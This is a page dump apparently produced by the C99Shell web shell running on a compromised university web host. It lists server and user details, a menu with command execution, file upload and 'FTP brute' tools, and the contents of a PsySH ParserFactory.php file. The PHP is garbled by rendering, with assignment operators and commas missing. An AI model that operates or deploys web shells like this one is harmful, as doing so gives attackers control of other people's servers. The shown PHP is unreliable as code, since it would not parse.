!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/psy/psysh/src/Psy/   drwxr-xr-x
Free 116.6 GB of 200.55 GB (58.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ParserFactory.php (2.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2015 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy;

use 
PhpParser\Lexer;
use 
PhpParser\Parser;
use 
PhpParser\ParserFactory as OriginalParserFactory;

/**
 * Parser factory to abstract over PHP parser library versions.
 */
class ParserFactory
{
    const 
ONLY_PHP5   'ONLY_PHP5';
    const 
ONLY_PHP7   'ONLY_PHP7';
    const 
PREFER_PHP5 'PREFER_PHP5';
    const 
PREFER_PHP7 'PREFER_PHP7';

    
/**
     * Possible kinds of parsers for the factory, from PHP parser library.
     *
     * @return array
     */
    
public static function getPossibleKinds()
    {
        return array(
'ONLY_PHP5''ONLY_PHP7''PREFER_PHP5''PREFER_PHP7');
    }

    
/**
     * Is this parser factory supports kinds?
     *
     * PHP parser < 2.0 doesn't support kinds, >= 2.0 — does.
     *
     * @return bool
     */
    
public function hasKindsSupport()
    {
        return 
class_exists('PhpParser\ParserFactory');
    }

    
/**
     * Default kind (if supported, based on current interpreter's version).
     *
     * @return string|null
     */
    
public function getDefaultKind()
    {
        if (
$this->hasKindsSupport()) {
            return 
version_compare(PHP_VERSION'7.0''>=') ? static::ONLY_PHP7 : static::ONLY_PHP5;
        }
    }

    
/**
     * New parser instance with given kind.
     *
     * @param string|null $kind One of class constants (only for PHP parser 2.0 and above).
     *
     * @return Parser
     */
    
public function createParser($kind null)
    {
        if (
$this->hasKindsSupport()) {
            
$originalFactory = new OriginalParserFactory();

            
$kind $kind ?: $this->getDefaultKind();

            if (!
in_array($kind, static::getPossibleKinds())) {
                throw new \
InvalidArgumentException('Unknown parser kind');
            }

            
$parser $originalFactory->create(constant('PhpParser\ParserFactory::' $kind));
        } else {
            if (
$kind !== null) {
                throw new \
InvalidArgumentException('Install PHP Parser v2.x to specify parser kind');
            }

            
$parser = new Parser(new Lexer());
        }

        return 
$parser;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0254 ]--